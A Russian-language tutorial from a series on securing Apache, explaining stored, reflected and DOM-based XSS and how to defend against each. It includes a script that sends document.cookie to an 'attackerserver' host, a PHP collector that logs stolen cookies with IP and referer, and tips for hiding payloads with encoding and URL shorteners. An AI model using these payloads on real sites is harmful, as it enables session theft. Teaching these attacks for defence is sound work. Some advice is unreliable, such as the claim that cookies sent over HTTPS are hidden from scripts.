Безопасная эксплуатация Apache, часть 2: межсайтовый скриптинг (XSS)

В предыдущей статье серии мы начали обсуждение аспектов безопасной эксплуатации веб-сервера Apache с рассмотрения его архитектуры. После этого мы начали рассмотрение дефектов веб-приложений, начав с SQL-инъекций. В данной статье мы перейдем к рассмотрению следующей категории дефектов, связанных с инъекциями: межсайтового скриптинга, известного под аббревиатурой "XSS". Повторю свои слова о том, что ни я, ни журнал LFY не ставим своей целью научить читателей атаковать сервера; эта информация приводится с целью предоставления необходимых знаний для защиты инфраструктуры.

Уязвимости приложений к атакам на основе межсайтового скриптнга (XSS) удерживают вторую позицию в рейтинге десяти самых опасных рисков безопасности веб-приложений от консорциума OWASP, находясь после уязвимостей к атакам на основе SQL-инъекций. (Кстати, первая буква аббревиатуры "X" используется для того, чтобы не путать понятие межсайтового скриптинга с понятием таблиц каскадных стилей "CSS" .) Консорциум, занимающийся проблемами безопасности, сообщает о том, что доля уязвимостей XSS составляет около 39 процентов от всех уязвимостей веб-приложений.

Что понимается под межсайтовым скриптингом?

Консорциум OWASP определяет XSS как дефект, при котором приложение включает в состав страницы, отправляемой пользователю, переданные им данные без их предварительной проверки или форматирования. Атаки на основе XSS на самом деле являются атаками на основе инъекций кода, затрагивающими процесс интерпретации отправленной веб-приложением страницы в пользовательском браузере.

Эти атаки в большинстве случаев проводятся в рамках систем онлайн-сообщений, блогов и пользовательских конференций (в совокупности называемых "системами онлайн-сообщений" в статье), в которых сообщения хранятся на постоянной основе. При их создании используются технологии HTML, JavaScript, VBScript, ActiveX, Flash и другие технологии сценариев на стороне клиентов.

Целью атак на основе межсайтового скриптинга является похищение пользовательских аутентификационных данных из кук и любой другой важной информации, которая участвует в процессе аутентификации клиента на веб-сайте. С похищенным (действительным) идентификатором пользователя взломщик может представиться пользователем и похитить его данные.

В отличие от большинства атак, в которых участвуют две стороны (взломщик и веб-сайт или взломщик и жертва/клиент), атака на основе межсайтового скриптинга предполагает участие трех сторон: взломщика, жертвы/клиента и веб-сайта.

В ходе атаки на основе межсайтового скриптинга действительному пользователю предоставляется ссылка, расположенная в системе онлайн-сообщений и ведущая на безопасный на первый взгляд сайт, но на самом деле содержащая закодированный сценарий, который выполняется как только пользователь переходит по ней. Этот на первый взгляд безопасный веб-сайт может быть (и является в большинстве случаев) клоном просматриваемого пользователем сайта для осуществления фишинг-атаки; в этом случае он запросит имя пользователя и пароль. В другом случае этот веб-сайт может представлять собой страницу с благодарностью, с помощью которой производится незаметное похищение кук пользователя в фоновом режиме.

Принцип действия атак, основанных на межсайтовом скриптинге

Код эксплоита для атак на основе межсайтового скриптинга обычно (но не всегда) разрабатывается с использованием HTML/JavaScript для исполнения в браузере жертвы атаки. Сервер используется только для хранения вредоносного кода. Взломщик использует только надежные веб-сайты в качестве площадок для проведения атаки.

Типичные атаки на основе межсайтового скриптинга являются результатом недоработок в веб-приложениях на стороне сервера и заключаются в недостаточной обработке введенных пользователем данных в плане удаления управляющих символов HTML. Если взломщикам удастся вставить произвольный HTML-код, они могут контролировать процесс исполнения страницы с правами, заданными для сайта. Часто встречающимися местами, предоставляющими взломщикам возможность для проведения атак являются страницы с "подтверждением" или "выводом результатов" (примером являются поисковые машины, выводящие пользовательский запрос) или страницы ошибок для форм, помогающие пользователям, заполняя поля формы корректно введенными данными.

<?php echo "Hello, {$HTTP_GET_VARS['name']}!"; ?>

Как только осуществляется доступ на страницу, содержащую этот код, переменная, переданная при помощи метода GET (строки запроса) без изменений выводится на страницу, генерируемую при помощи PHP. Если вы передадите корректные данные (например, строку "Arpit Bajpai") в качестве аргумента, URL будет выглядеть следующим образом: http://localhost/hello.php?name=Arpit%20Bajpai (с учетом того, что вы используете сервер, установленный на вашем компьютере, что стоит сделать для тестирования этих примеров). Вывод этого запроса безопасен и показан на Рисунке 1.

Рисунок 1: Безопасная передача данных

Теперь проведем небольшое вмешательство в URL, изменив его следующим образом: http://localhost/hello.php?name=<h1><u>Hacked</u></h1>.

Результат показан на Рисунке 2. Он все еще кажется безвредным, но тот факт, что вводимые данные не проверяются PHP-сценарием перед отправкой их браузеру пользователя говорит о том, что есть возможность осуществить вставку более опасного кода в состав уязвимой страницы.

Рисунок 2: Необработанный вывод

<script>document.location="http://attackerserver/cookie.php?c="+document.cookie</script>

<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: '.$ip.'<br> Date and Time:
'.$date.'<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: http://www.vulnerablesite.com");
?>
<HTML></HTML>

В ходе работы этого сценария в файле cookies.html сохраняются данные, включающие в себя IP-адрес жертвы, дату и время получения данных из кук и адрес страницы, с которой был осуществлен переход по вредоносной ссылке, указывающей на сценарий cookie.php.

Воспользовавшись этой информацией, взломщик впоследствии может перейти на сайт системы онлайн-собщений и использовать полученные данные из кук, что позволит ему представиться пользователем, ставшим жертвой атаки.

Когда жертва переходит по ссылке с приведенным кодом, расположенной в сообщении, не происходит ничего необычного - правда при этом данные из кук передаются сценарию cookie.php на сервере взломщика. Это принцип действия классических атак, основанных на межсайтовом скриптинге.

Типы XSS-уязвимостей

Давайте рассмотрим каждую категорию по очереди.

Постоянно существующие или хранимые уязвимости

Постоянно существующие XSS-уязвимости являются наиболее мощными и эффективными из всех. Они присутствуют в том случае, если данные, передаваемые веб-приложению пользователем вначале помещаются на постоянное хранение на сервере (в базу данных, файловую систему или другое хранилище), а затем выводятся пользователям в виде веб-страницы без должной обработки.

Сценарий атаки на систему онлайн-сообщений, приведенный ниже, является классическим примером подобной ситуации. Схема атаки, основанной на постоянно существующей уязвимости, показана на Рисунке 3.

Рисунок 3: Схема атаки с использованием постоянно существующей уязвимости

В начале атаки взломщик внедряет вредоносный сценарий с помощью веб-формы ввода данных. После этого внедренный код сохраняется в базе данных сервера. Когда любой пользователь открывает страницу, вредоносный код исполняется. Любой пользователь, который переходит по ссылке (или всего лишь просматривает сообщение в случае атаки с использованием тэга IFRAME) становится жертвой атаки, так как вредоносный код исполняется в его браузере и отправляет его аутентификационные данные взломщику.

Это тип атаки очень эффективен, так как взломщик может атаковать ряд пользователей сервера - всех тех, кто переходит по ссылке или просматривает сообщение.

Непостоянно существующие или отраженные уязвимости

Непостоянно существующие XSS-уязвимости являются на данный момент наиболее эксплуатируемыми. Этот тип XSS-уязвимостей чаще всего возникает из-за того, что сценарии в ходе генерации документов в формате HTML выводят пользовательские данные без дополнительной обработки.

Например, взломщик находит XSS-уязвимость в веб-приложении, заключающуюся в том, что сценарий выводит отправленный запрос вместе с результатом его выполнения. Обычно используемый URL сайта при осуществлении запроса выглядит следующим образом: http://www.example.com/search.php?query=products. В нормальных условиях в ответ на этот запрос выводится список доступных продуктов. Как только взломщики находят уязвимость, они могут отправить модифицированную ссылку (с измененными значениями известных переменных) жертве атаки, преследуя цель похищения аутентификационных данных: http://www.example.com/search.php?query=<script>alert(document.cookie)</script>.

Переход по этой ссылке приведет к выводу браузером жертвы атаки окна сообщения с данными из кук. Приведенный выше пример безопасен: взломщик может причинить гораздо больший ущерб, похитив пароли, изменив адрес домашней страницы или переместив жертву атаки на другой веб-сайт, используя модифицированный код JavaScript.

Схема атаки, основанной на отраженной уязвимости показана на Рисунке 4.

Рисунок 4: Пошаговая иллюстрация процесса атаки, основанной на отраженной уязвимости

В наши дни встраивание в код ссылки таких объемных сценариев может привлечь внимание потенциальных жертв атаки, поэтому взломщики просто преобразовывают их в шестнадцатеричный формат с помощью множества доступных конвертеров, таких, как представленный по ссылке http://code.cside.com/3rdpage/us/url/converter.html. Более того, если вредоносный сценарий достаточно велик, используются сервисы для сокращения длины URL, такие, как Tiny URL, после чего создается короткий URL, указывающий на длинный.

Уязвимости модели DOM или локальные уязвимости

Уязвимости модели DOM существуют в HTML-коде сайта (в статических сценариях) и могут эксплуатироваться непостоянно. В качестве простого примера уязвимости модели DOM можно привести статический сценарий, встроенный в страницу, который при исполнении использует функцию DOM, такую, как document.write для вывода значения переменной pos.

<HTML>
<SCRIPT>
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our site
...
</HTML>

В нормальных условиях на данной странице будет выведено приветствие для пользователя при переходе по следующему URL: http://www.example.com/welcome.html?name=Joe.

Однако, небольшое вмешательство в URL приводит к отображению данных из кук пользователя в окне предупреждения браузера в том случае, если он перейдет по следующей ссылке: http://www.example.com/welcome.html?name=<script>alert(document.cookie)</script>.

При открытии данной ссылки браузер пользователя отправляет HTTP-запрос сайту с именем www.example.com. В ответ он получает статическую HTML-страницу с представленным выше содержанием. После этого браузер жертвы начинает преобразование HTML в DOM. В данном случае код ссылается на переменную document.URL, поэтому часть строки запроса сохраняется при разборе HTML. После этого происходит исполнение в контексте страницы вредоносного JavaScript-кода, переданного в составе URL, что и позволяет провести XSS-атаку.

Вы должны понимать, что запрос в полном объеме достигает сервера (в строке HTTP-запроса), поэтому данный тип XSS-атаки, как и любой другой, может быть идентифицирован - но взломщики предусматривают даже эту возможность, формируя запрос в следующей форме: http://www.example.com/welcome.html#name=<script>alert(document.cookie)<script>.

Следует учитывать, что в этом случае используется символ решетки (#); с помощью него браузеру сообщается о том, что данные после этого символа являются фрагментом и не являются частью запроса. Браузеры IE (6.0) и Mozilla не отправляют фрагмент серверу, поэтому в случае использования данных браузеров сервер получит только следующую часть запроса: http://www.example.com/welcome.html, а остальные данные будут скрыты.

Тенденции в области XSS-атак

XSS -атаки с использованием мета-информации (miXSS)

Это новый тип XSS-уязвимостей, появившийся недавно и использующий уязвимости утилит для сетевого администрирования. Эту уязвимость можно обнаружить в коде серверов, использующих корректные пользовательские запросы для сбора данных и вывода их пользователю. Атаки на основе межсайтового скриптинга проводятся при использовании этих данных. При этом взломщики могут получить информацию о утилитах сетевого администрирования. Веб-сайты, которые позволяют провести разрешение DNS и веб-сайты, которые проверяют записи SPF наиболее подвержены miXSS-атакам. Для того, чтобы узнать больше данном типе атак, обратитесь к списку дополнительных ресурсов в конце статьи.

XSS Shell

XSS Shell является инструментом для установления XSS-канала между жертвой атаки и взломщиком, причем взломщик может управлять браузером при помощи команд. Обмен данными является двухсторонним.

XSS Tunnel

Это программа с открытым исходным кодом на .NET, распространяемая под лицензией GPL и являющаяся обычным HTTP-прокси, работающим в системе взломщика. Она позволяет передавать HTTP-трафик через туннель в виде XSS-канала и теоретически может использоваться вместе с любым приложением, работающим с HTTP-прокси.

DDoS-атаки при помощи XSS

Тенденции развития XSS-атак указывают на то, что взломщики используют уязвимые сайты в качестве начального шага при проведении распределенных атак отказа в обслуживании. Они предлагают пользователям скачать и установить дополнения для браузера. Когда пользователь переходит по ссылке, вместе с дополнением для браузера в его систему (в большинстве случаев) в фоновом режиме устанавливается вредоносное ПО в виде червя или бота. Это ПО может предоставить взломщику неограниченные права в пользовательской системе, поэтому взломщик может использовать систему для проведения атак отказа в обслуживании или для построения ботнета.

Противодействие XSS-атакам

Атаки на основе межсайтового скриптинга потенциально опасны для большинства веб-серверов и браузеров. Взломщики постоянно изобретают все новые типы атак, но следующие мероприятия могут помочь вам в защитите системы от этих атак.

Мероприятия для клиентов или пользователей

Следует серьезно и тщательно рассматривать все сообщения электронной почты, содержащие длинные, объемные и подозрительные ссылки. Не стоит переходить по этим ссылкам, даже если они ведут на известные сайты, которым вы доверяете. Во многих подобных сообщениях применяются различные хитрости для того, чтобы убедить вас пройти по ссылке. В некоторых сообщениях содержатся предложения об улучшении вашего материального состояния и независимости; другие сообщения содержат предупреждения о том, что вы можете потерять свою учетную запись (действительную) на веб-сайте, если "немедленно не подтвердите информацию о вашем имени пользователя и пароле". Серьезно подумайте перед переходом по таким ссылкам, особенно с учетом той информации, которую вы почерпнули из данной статьи. Очевидно, что точно такие же меры предосторожности следует предпринимать по отношению к сообщениям в системах онлайн-сообщений и социальных сетях.

Современные версии браузера Mozilla Firefox достаточно безопасны. Например, Firefox автоматически кодирует символы < и > (в последовательности %3C и %3E соответственно) в параметре document.URL в случае, когда URL не введен напрямую в адресную строку. Таким образом, данный браузер не уязвим к атакам, проводимым с использованием модели DOM. Для повышения безопасности работы браузера следует также установить дополнения (расширения), такие, как NoScript, FlashBlock и панель инструментов Netcraft.

Вы также можете попробовать браузер Google Chrome, имеющий встроенную защиту от XSS-атак.

Если у вас появилась сомнительная ссылка и вы хотите перейти по ней, при этом не используя браузер Firefox с расширением NoScript, вам необходимо отключить JavaScript, Java (и Active X если вы работаете в ОС Windows) перед переходом. Также вы можете перейти по ссылке, вручную вписав ее в адресную строку браузера.

Если при создания ссылки использовался сервис по сокращению длины URL, такой, как "tiny", "tinyurl", "bit.ly", "is.gd", "shorturl", "snipurl", и.т.д., будьте осторожны. Вы можете даже установить второй браузер для посещения "ненадежных" сайтов; не входите на доверенные или важные сайты с помощью этого браузера, а используйте его только для переходов по подозрительным ссылкам. Если с помощью URL действительно будет проведена атака, и даже в случае ее успешного завершения, у взломщика не будет практически никакой важной информации из кук.

Для разработчиков

Лучшим способом проверки вашего веб-сайта на уязвимости является запуск тестирования безопасности локальной копии используемого веб-приложения. Лучшим свободным проектом для этой цели является Nikto.

Следующим важным действием является фильтрация всех подозрительных данных, основанная на HTML-контексте (body, attribute, JavaScript, CSS или URL), в котором они будут размещены. Разработчикам следует организовать данную функцию в своих приложениях. Обратитесь к шпаргалке по предотвращению XSS-атак от OWASP для получения подробной информации о техниках фильтрации данных.

Фильтрация вывода сценариев также позволяет нейтрализовать XSS-уязвимости, предотвращая передачу специально сформированных последовательностей пользователю. При фильтрации динамически формируемых страниц выбирайте множество символов, использование которых безопасно, вместо того, чтобы пытаться исключить множество символов, использование которых может быть небезопасным. Первый вариант предпочтительнее, так как обычно не известно, существуют ли другие комбинации символов или последовательностей символов, позволяющие эксплуатировать другие уязвимости.

Проверяйте все заголовки, куки, строки запросов, формы, скрытые поля и другие возможные параметры на наличие таких тэгов, как <script>, <object>, <applet>, <form> и <embed>. Также не выводите никаких введенных значений без фильтрации.

Не храните пароли или другие данные в куках без шифрования или с применением нестойкого алгоритма шифрования. Простое хеширование пароля с использованием алгоритма MD5 не является безопасным, поскольку длина хэша составляет всего 16 байт и его расшифровка возможна при помощи метода перебора вариантов.

Если это возможно и осуществимо, данные аутентификации в куках должны быть ассоциированы с IP-адресом клиента. Обнаружение идентичных данных кук, отправленных с другого IP-адреса, должно восприниматься как попытка проведения атаки.

Если это возможно, следует устранить возможность использования единой системы аутентификации и активировать систему повторных проверок паролей для предотвращения атак перехвата сессии. Атака против сайта с единой системой аутентификации имеет большие шансы остаться незамеченной для пользователя.

Использование бесплатных хостингов является основным этапом при реализации взломщиком схемы атаки. Обслуживающий персонал сайтов бесплатного хостинга должен быть более бдительным в отношении того, кто использует их сервисы, и должен блокировать подозрительные IP-адреса. Также в том случае, если на хостинге используются сценарии для сбора данных из кук, должен проводиться мониторинг для выявления подобных действий.

Куки, отправленные по протоколу HTTPS недоступны сценариям при помощи свойства document.cookie, поэтому постарайтесь отправлять куки только по протоколу HTTPS. Также постарайтесь использовать для передачи форм метод POST вместо GET.

Инструменты

Поскольку XSS-атаки требуют участия пользователя, их количество напрямую зависит от крайней внимательности пользователей. Для получения более подробной информации о XSS-атаках и методах защиты от них, не забудьте рассмотреть раздел дополнительных ресурсов ниже. Мы рассотрим другие опасные типы атак на веб-приложения и Apache в следующей статье. Между тем, вы можете оставить ваши вопросы и конструктивную критику в разделе комментариев ниже.

Всегда помните: нужно знать все о взломе, не не заниматься им.

Продолжение серии: "Безопасная эксплуатация Apache, часть 3: атаки на основе создания межсайтовых запросов (XSRF)"